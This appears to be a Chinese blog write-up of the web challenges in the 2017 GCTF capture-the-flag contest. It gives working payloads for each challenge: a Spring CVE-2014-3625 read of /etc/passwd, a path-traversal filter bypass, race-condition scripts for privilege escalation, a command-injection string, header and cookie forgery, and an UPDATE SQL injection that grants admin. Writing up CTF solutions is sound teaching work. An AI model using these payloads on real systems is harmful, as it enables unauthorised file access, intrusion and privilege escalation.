Chybeta

GCTF-web-writeup

GCTF-web-writeup

热身题

题目地址:http://218.2.197.232:18001/
访问robots.txt。

1
http://218.2.197.232:18001/robots.txt

一个个访问过去:

1
http://218.2.197.232:18001/rob0t.php

得到flag:

1
GCTF{ae609880185f1d75}

springcss

springcss-cve-2014-3625漏洞。github上有利用脚本:https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
这里的payload1:

1
http://218.2.197.232:18015/spring-css/resources/file:/etc/passwd

payload2:

1
http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

最后flag:

1
GCTF{db839442402f5874}

PHP序列化

题目地址:http://218.2.197.232:18017/

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>

里面提到了session.serialize_handler,想到wooyun上的文章《PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患》

条件竞争

题目地址:http://218.2.197.242:18009/

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
header("Content-type: text/html; charset=utf-8");
session_start();
$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
die("数据库连接错误,多次出现请联系管理员。");
}
//打印源码
if(isset($_REQUEST['showcode'])){
highlight_file(___FILE___);
exit();
}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
$user=substr(md5(uniqid().uniqid()),8,16);
$_SESSION["name"]=$user;
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($user));
$stmt->execute();
$stmt->close();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
}else{
$user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
$stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($_POST['password']));
$stmt->execute();
$stmt->close();
//判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
$mysqli->close();
die("修改成功");
}
$mysqli->close();
?>

初次访问生成用户时,会往user表和priv表写入数据。

而在重置用户时,进行了三个大的操作:

  1. 删除user表中对应数据,删除priv表中对应的值。
  2. 向user表中插入name和新的pass,达到更新密码的目的。
  3. 向priv表中对应的name下notadmin的值更改(即插入)为”TRUE”。

给出的源码中有一段注释:

1
//判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限

所以在执行操作3之前,在这一个空隙里登陆的话,此时会是管理员权限。可以自己写多线程脚本,也可以用burp跑。

reset.py

1
2
3
4
5
6
7
import requests
while True :
parm = {'name':'ea2a431e12ec99f7','password':'1111'}
cookies = {'PHPSESSID':'p5gjc6u92u7vc3ugrjnnl86j61'}
r = requests.post('http://218.2.197.242:18009/index.php?method=reset',cookies=cookies,data=parm)
print r.text

login.py

1
2
3
4
5
6
7
8
9
10
11
import requests
flag = False
while not flag:
parm = {'name':'ea2a431e12ec99f7','password':'1111'}
cookies = {'PHPSESSID':'p5gjc6u92u7vc3ugrjnnl86j61'}
r = requests.post('http://218.2.197.242:18009/login.php?method=login',cookies=cookies,data=parm)
print r.text
if '{' in r.text:
flag = True
break

两者分别运行。

最后flag:

1
GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}

读文件

题目地址:http://218.2.197.232:18008/
访问后查看源代码,如下:

若访问:

1
http://218.2.197.232:18008/a/down.php?p=1.txt

同样可以正常读取,可以猜测过滤了关键字:./

若将1.txt改为flag.php,访问:

1
2
http://218.2.197.232:18008/a/down.php
?p=./flag.php

则返回页面提示 waf,所以flag被waf了。

结合flag./,同时我们知道flag在根目录下,而down在文件夹a下,应该要往回访问。构造下述链接:

1
http://218.2.197.232:18008/a/down.php?p=...//fl./ag.php

...//fl./ag.php中,./被过滤后会变成../flag.php,这样就能成功读取了。

最后flag:

1
GCTF{drthSDFSDGFSdsfhfg}

RCE绕过

题目地址:http://218.2.197.232:18006/
有点类似“春秋杯”的web。
构造如下payload:

1
2
http://218.2.197.232:18006/
?cmd=%0acat%09

Forbidden

题目地址:http://218.2.197.232:18002/

访问得到forbidden,但返回头为200,所以是个人为写的页面。查看源代码下拉得到提示:

1
<!--只允许本机访问。 -->

在请求包中添加:

1
X-Forwarded-For:localhost

得到下一个提示:

1
<!--只能通过域名访问 -->

在请求包中继续添加:

1
Host:www.topsec.com

得到下一个提示:

1
<!--只允许从百度跳转到本页面访问。 -->

在请求包中继续添加:

1
Referer:www.baidu.com

得到下一个提示:

1
<!--只允许使用ajax访问本页面 -->

在请求包中继续添加:

1
X-Requested-With:XMLHttpRequest

得到下一个提示:

1
<!--本站只允许使用IE4访问 -->

在网上查一查,将userAgent修改如下:

1
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)

得到下一个提示:

1
<!--电脑上必须安装有.NET8 -->

修改userAgent如下

1
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98;.NET CLR 8.0.50727)

得到下一个提示:

1
<!--本站只允许德国用户访问。 -->

修改userAgent如下:

1
Accept-Language: de-DE

得到下一个提示;

1
<!--没有登录! -->

同时返回头中出现了:

1
Set-Cookie: login=4e6a59324d545a6a4e7a4d324e513d3d

探索如下:

1
2
3
4
4e6a59324d545a6a4e7a4d324e513d3d是十六进制编码,
解码得到: NjY2MTZjNzM2NQ== 猜测是base64加密,
解码得到: 66616c7365 猜测是十六进制编码,
解码得到: false

要成功登陆,则login=true

1
2
3
true 进行十六进制编码,得到:74727565
再base64编码,得到:NzQ3Mjc1NjU=
再十六进制编码,得到:4e7a51334d6a63314e6a553d

在请求包中增加Cookie:

1
Cookie:login=4e7a51334d6a63314e6a553d

得到flag:

1
GCTF{Dt24FbREwYJu7P8ekQHEFknK}

越权注入

题目地址:http://218.2.197.232:18014/

查看源代码,得到提示,同时可以知道uid默认为500 :

抓包改包,试着添加uid参数。

发现可以成功直接修改uid参数:

接下来考虑role参数,如果直接添加role参数:

会被拦截:

考虑进行注入。经过一番测试,可以知道,如果参数中带有引号,会被拦截,被提示说“未通过mysql_escape_string检查。”

若在uid后面加上一个括号,会出现sql报错:

猜测为update型注入,因为引号被过滤了,所以对admin进行一次hex编码,payload如下:

1
.....birth=11111111&gender=&uid=0,role=0x61646d696e

得到flag:

1
GCTF{9CtyJLHMxkjLUs6qfUM5Cmrb}

web综合

题目地址:http://218.2.197.232:18007/

变态验证码

题目地址: http://218.2.197.232:18003/

Java序列化

题目地址: http://218.2.197.232:18005/ctfobj/

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:GCTF-web-writeup

文章作者:chybeta

发布时间:2017年06月19日 - 08:06

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/06/19/GCTF-web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。